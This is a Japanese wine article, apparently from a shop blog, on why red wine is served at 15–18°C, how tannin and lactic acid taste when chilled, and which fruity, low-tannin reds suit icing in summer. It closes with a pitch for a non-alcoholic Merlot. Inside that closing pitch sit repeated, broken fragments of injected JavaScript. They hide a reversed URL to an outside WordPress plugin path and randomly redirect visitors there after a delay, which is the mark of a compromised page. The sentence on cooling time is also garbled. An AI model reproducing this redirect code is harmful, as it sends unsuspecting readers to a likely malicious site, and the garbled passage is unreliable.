冷やすとどうなる？赤ワイン。夏の赤ワインをもっと美味しく楽しもう
赤ワインは常温で飲むもの、とよく言われますよね。しかし、これからの暑〜い季節「夏だし、赤ワインも冷やして飲みたいなあ…」と思われる方もいらっしゃるのでは？
今回は、「赤ワインはなぜ冷やさないほうがいいの？」「冷やして美味しい赤ワインはあるの？」など、夏場の美味しい赤ワインの飲み方の疑問にお答えします。
◇赤ワイン＝常温の根拠は？ワインを楽しむには温度が大事
ワインは、ブドウの果実に含まれる色素や香りの成分、タンニン、酸、発酵中・熟成中に生まれる様々な成分が混じり合い複雑なアロマ・フレーバーを作り出しています。そのため、ワインの美味しさを最大限に堪能するには、それぞれのワインの特徴を十分に引き出す適温で飲むことがとても大切です。
一般的にはワインの飲み頃温度は、
スパークリングワイン 6℃程度
白ワイン 10℃程度
赤ワイン（ライトボディ） 15℃程
赤ワイン（フルボディ） 18℃程度
と言われています。
赤のフルボディワインの飲み頃温度は約18℃。夏でも気温がさほど上がらず、建物が石造りのため室内が涼しいヨーロッパでは、室温でも赤ワインは適温で楽しむことができます。ここから、赤ワインは常温で楽しむものと言われるようになりました。
◇赤ワインの製法と、適温の関係
では、なぜ赤ワインは、スパークリングや白ワインより高めの温度のほうが美味しく感じるのでしょうか？
赤ワインの場合、 味わいの最も重要なポイントなのは渋みですが、その渋みを生みだすのが、赤ワインに豊富に含まれているタンニンという成分です。
赤ワインを作る時は、果汁を搾り取った後の皮や種をブドウ果汁に漬け込んだまま放置して、果皮に含まれる成分を抽出する「醸し」という工程があります。この醸しにより、赤ワインには、ブドウの果皮と種に含まれるタンニンをはじめ、ブドウの果皮に由来の色素・アントシアニンや、香りの元となるフェノール類といった成分が多く抽出され、それが赤ワインの色合いや味わいを特徴づけているのです。
では、なぜタンニンによって渋みを感じるのでしょうか？
タンニンは口の中に入ると、だ液に含まれる成分・ムチンと結びつきます。ムチンは口や目などの粘膜を覆う体液中に存在する成分。オクラのぬるぬるの成分でもあるムチンは、粘膜の上で滑りを良くする潤滑油の働きを果たしていますが、タンニンがムチンと結びつくことで、その潤滑作用が低下してしまうのです。この作用により、タンニンを多く含む赤ワインを飲むと口の中に乾いたような感覚が生じますが、それがヒトの舌には渋みとして認識されるのです。ちなみに、タンニンは低い温度の時に渋みを強く感じやすく、温度が高くなるにつれてマイルドに感じられるという性質があります。そのため、タンニンを豊富に含む赤ワインは、やや高めの温度のほうがまろやかで美味しく感じられるのです。
そしてもう一つ、赤ワインがやや高めの温度のほうが美味しく感じる理由は「酸」。
ワインの原料であるブドウに主に含まれるのはリンゴ酸とよばれる酸です。ブドウ果汁を発酵させてワインを作る際には、果汁の糖分をアルコールに変えるアルコール発酵を行いますが、この時、赤ワインや一部の白ワイン（樽熟成するシャルドネなど）では、ワインの中のリンゴ酸を乳酸菌によって乳酸に変化させるマロラクティック発酵を同時に行います。マロラクティック発酵により、爽やかでキレの良い酸味のリンゴ酸は、発酵バターやヨーグルトを思わせるクリーミーでまろやかな味わいの乳酸に変化しますが、乳酸が最も美味しく感じられるのは20℃前後。低温では、ベタつくような苦みを感じてしまい、美味しさが半減します。
このように、含まれる酸の点からも、赤ワインはやや高めの温度で味わう方が、美味しさを堪能できるのです。
◇日本の夏、赤ワインも少し冷却を
しかし、日本の夏は高温多湿。冷房を入れても室温が二十数℃となってしまう真夏の日本の場合、いくら高めの温度が良い赤ワインであっても室温では温度が高過ぎて、酸味がボヤけて味わいのバランスが崩れてしまいます。
ですので、日本に住む私達が夏場に赤ワインを楽しむ場合は、赤ワインであっても開栓前に少し冷やして適温にするのが良いでしょう。オススメの方法は、冷蔵庫でしっかり冷やしたワインを、飲み始める1時間ほど前に冷蔵庫から出して、室温に置いておく方法。冷えたワインが少し室温に近づき、丁度フルボディの赤ワインの適温である18℃前後になります。
急いで冷やしたいのであれば、氷水を張ったワインクーラーやお鍋にボトルを入れて急冷します。氷水で冷やす際には、ワインの温度は1分で約1度下がるため、現在の室温から、赤ワインの飲み頃温度である15から18を引いた分数を引いた分数が冷却時間の目安です。ただし、ワインをグラスに注ぐときに若干温度が上がってしまうため、飲み頃温度よりやや低めまで冷やすのが良いでしょう。
また、ワインセラーであれば、13℃前後に設定しておけば、セラーから出してグラスに注げばすぐに飲み頃温度になります。
◇冷やして美味しい赤ワインはあるの？
赤ワインの適温は15℃から18℃ということはわかりましたが、では、それ以下に冷やしてしまうとどうなるのでしょうか？
実は、赤ワインでも種類を選べば、氷を浮かべたロックスタイルなどにして冷しても楽しむことができます。
キンキンに冷やすのに適しているのは、渋みの少ないワイン、前述したとおり、ワインの渋みの元である物質・タンニンは、高温ではまろやかになり、低温ではより渋みが強まる性質があります。ですので、しっかり冷してワインを楽しみたい場合、タンニンの少ないワインを選ぶのは鉄則です。
また、果実味が強く甘みの豊かなワインを選ぶのも大切なポイントです。冷たーいジュースが、ぬるくなって急に甘く感じるようになった経験はありませんか？
ヒトは舌の味蕾と呼ばれる部分で味を感じますが、この味蕾が最も活発に働く温度が30℃前後。温度が低くなるほど、舌は味を感じにくくなってしまいます。そのような訳で、冷やして楽しむ飲み物は甘みが強いことが必須なのです。
なので、ワインを冷して楽しむ場合は、甘みや果実味が強いものを選ぶと美味しく楽しめます。
もう一つ、冷して楽しむ場合に避けたいのは高級ワイン。
長期熟成型の高級ワインには、タンニンが豊富に含まれています。というのも、タンニンにはワインにしっかりしたボディと深みを与え、また、ワインの保存性を高め長期熟成を可能にする作用があるから。
一般的に、長期熟成型の高級ワインほど高めの温度で楽しみますが、それは、高級ワインには長期熟成を可能にするため、渋みを感じさせる元であるタンニンがたっぷり含まれているからなのです。加えて、高級ワインに付き物のオーク（樽）香や、熟成中に生まれる豊かな熟成香も、温度を下げると感じにくくなります。なので、高級ワインは冷たくして楽しむには適さないのです。
夏場によく冷やして美味しいのは、タンニンが少なくフルーティー感の強い、早飲みタイプのワイン。価格もお手頃なワインのほうが、美味しく楽しめるようです。具体的には、カリフォルニアやチリ、イタリア、スペインワインなど。太陽がさんさんと降り注ぐ温暖な産地で作られた、果実味たっぷりのワインがオススメです。
◇冷やして美味しいノンアルコール赤ワイン
Mellow Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toreでは、ベルギーのネオブュル社のノンアルコール赤ワイン “ヴィンテンス メルロー” を取扱中です。ネオブュル社では、真空状態で蒸留ができる特殊な設備を使用し、通常アルコールが蒸発する温度（78℃）よりはるかに低い32℃という低温で、ワインがもつアロマやフレーバーを守りながらアルコールを0.0％まで除去しました。
なので、ノンアルコールにも関わらず、その味わいはまるで本物のワインのよう！
フルーティーなベリー系の果実の香りと、ほんのりしたロースト香、ほのかなスパイシーさが感じられ、赤ワイン好きの方にも満足していただけるノンアルコール赤ワインです。含まれるタンニンも程よく、夏場にワインカクテルにしたり、氷を浮かべて楽しんでもおいしいですよ！
